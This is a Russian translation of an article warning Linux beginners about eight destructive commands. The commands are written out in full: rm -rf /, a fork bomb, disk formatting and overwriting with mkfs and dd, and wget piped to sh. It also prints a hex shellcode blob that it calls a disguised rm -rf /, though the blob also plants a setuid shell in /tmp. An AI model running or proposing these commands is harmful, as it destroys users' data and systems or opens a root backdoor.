Наши партнеры

UnixForum





Библиотека сайта rus-linux.net

Восемь опасных команд, которые никогда не следует выполнять в Linux

Оригинал: 8 Deadly Commands You Should Never Run on Linux
Автор: Chris Hoffman
Дата публикации: 24 сентября 2012 г.
Перевод: Н.Ромоданов
Дата перевода: июнь 2014 г.

Терминальные команды в Linux являются мощными и Linux не попросит вас подтвердить, если вы запустите команду, которая испортит вашу систему. Не редкость увидеть в сети советы от троллей, рекомендующих в качестве шутки выполнить пользователям-новичкам Linux следующие команды.

Изучение команд, которые вам не следует запускать, может помочь защитить вас от троллей и повысит ваше понимание того, как работает Linux. Это не исчерпывающее руководство, и команды, приведенные здесь, могут быть смикшированы различными способами.

Обратите внимание, что многие из этих команд будут опасны только в случае, если у них в Ubuntu будет использован префикс sudo - иначе они не будут работать. На других дистрибутивах Linux, большинство команд должны запускаться с правами суперпользователя.

rm -rf / – удаление всего!

Команда rm -rf / удаляет все, что возможно, в том числе файлы на вашем жестком диске и файлы на подключенных съемных медиа устройствах. Эта команда будет более понятной, если ее разделить на части:

rm – удалить следующие файлы.

-rf - Выполнить команду rm рекурсивно (r – recursively: удаление всех файлов и каталогов внутри указанного каталога) и принудительно удалить (f - force-remove) все файлы, не спрашивая каких-либо подтверждений.

/ - Сообщает команде rm, чтобы надо начать с корневого каталога, в котором содержатся все файлы на вашем компьютере и все смонтированные мультимедийные устройства, в том числе удалить все разделяемые файлы и файлы на съемных дисках.

Linux с удовольствием подчинится этой команде и удалит все без какого-либо запроса, так что будьте осторожны при ее использовании! Команда rm также может быть использована другим опасным способом - ее вариант rm –rf ~ удалит все файлы в вашем домашнем каталоге, а вариант rm -rf .* удалить все ваши конфигурационные файлы.

Урок: Будьте аккуратны с командой rm -rf.

Замаскированные вариант rm –rf /

Вот еще один фрагмент кода, который гуляет по сети:

char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;

Это шестнадцатеричная версия команды rm –rf / - выполнение этой команды уничтожит ваши файлы так же, как если бы вы запустили команду rm –rf /.

Урок: Не запускайте странные на вид, возмржно, замаскированные команды, которые вы не понимаете.

:(){ :|: & };: – форк-бомба

В следующей строке представлена простая на вид, но и опасная функция bash:

:(){ :|: & };:

В этой короткой строке определена функция командной оболочки, которая создает свои собственные копии. Процесс постоянно воспроизводит себя, и его копии постоянно размножаться, быстро занимая все свое процессорное время и всю память. Это может привести к остановке компьютера. Это, в большей степени, атака вида denial-of-service (отказ в обслуживании).

Урок: Функции bash являются мощными, даже если они очень короткие.

mkfs.ext4 /dev/sda1 – форматирование жесткого диска

Команда mkfs.ext4 /dev/sda1 является простой и понятной:

mkfs.ext4 – создается новая файловая система ext4 на следующем устройстве.

/dev/sda1 - указывает первый раздел на первом жестком диске, который, вероятно, используется.

Если объединить эти команды вместе, то это может быть эквивалентно запуску в Windows команды format c: - файлы в вашем первом разделе будут стерты и будут заменены новой файловой системой.

Эта команда может быть также представлена в других видах – команда mkfs.ext3 /dev/sdb2 отформатирует второй раздел на втором жестком диске с файловой системой ext3.

Урок: Остерегайтесь выполнять команды непосредственно с жесткими дисками, которые начинаются с /dev/sd.

command > /dev/sda – запись непосредственно на жесткий диск

Строка command > /dev/sda работает аналогичным образом - она запускает команду и посылает результат работы этой команды прямо на ваш первый жесткий диск, записывая данные непосредственно на жестком диске и повреждая вашу файловой системы.

command - выполнить команду (может быть любая команда)

> – отправить результат работы команды в следующее место.

/dev/sda - записывать результат работы команды непосредственно на устройство жесткого диска.

Урок: Как и выше, остерегайтесь выполнения команд, в которых указываются устройства жестких дисков, начинающиеся /dev/sd.

dd if=/dev/random of=/dev/sda – запись мусора на жесткий диск

Строка dd if=/dev/random of=/dev/sda также уничтожит данные на одном из ваших жестких дисков.

dd - выполняет копирование из одного места в другое.

if=/dev/random – в качестве входа используется /dev/random (случайные данные) - вы также можете увидеть такой вариант, /dev/zero (обнуление).

of=/dev/sda - выдача данных на первый жесткий диск, заменяя его файловую систему случайными мусорными данными.

Урок: Команда dd копирует данные из одного места в другое, что может быть опасным, если вы копируете данные непосредственно на устройство.

mv ~ /dev/null – перемещение вашего домашнего каталога в черную дыру

/dev/null является еще одним специальным местом - перемещение чего-либо в /dev/null будет то же самое, что и стирание. Считайте устройство /dev/null черной дырой. По существу, команда mv ~ /dev/null перемещает все ваши личные файлы в черную дыру.

mv - переместить следующий файл или каталог в другое место.

~ – указывает на весь ваш домашний каталог.

/dev/null - перемещает ваш ваш домашний каталог на устройство /dev/null, уничтожая тем самым все ваши файлы и удаляя копии оригиналов.

Урок: Символ ~ обозначает ваш домашний каталог и перемещение его в /dev/null, он уничтожается.

wget http://example.com/something -O – | sh – скачивание и запуск скрипта

Эта строка загружает скрипт из интернета и отправляет в интерпретатор sh, который выполняет содержимое скрипта. Это может быть опасным, если вы не знаете, что делает скрипт или если вы не доверяете его источнику - не запускать ненадежные скрипты.

wget - загружает файл. (Вы также можете увидеть curl вместо wget).

http://example.com/something - загрузка файл из указанного каталога.

| - конвейер (перенаправление), который перенаправляет вывод команды wget (файл, который вы скачали) непосредственно в другую команду.

sh - перенаправление файла в команду sh, которая выполняет его, если это скрипт bash.

Урок: Не загружайте и не запускать ненадежные скрипты из интернета, даже если указана команда.

Знаете ли вы какие-нибудь другие опасные команды, которые не должны запускать в Linux пользователи-новички (и опытные пользователи)? Оставьте свой комментарий и поделитесь ими!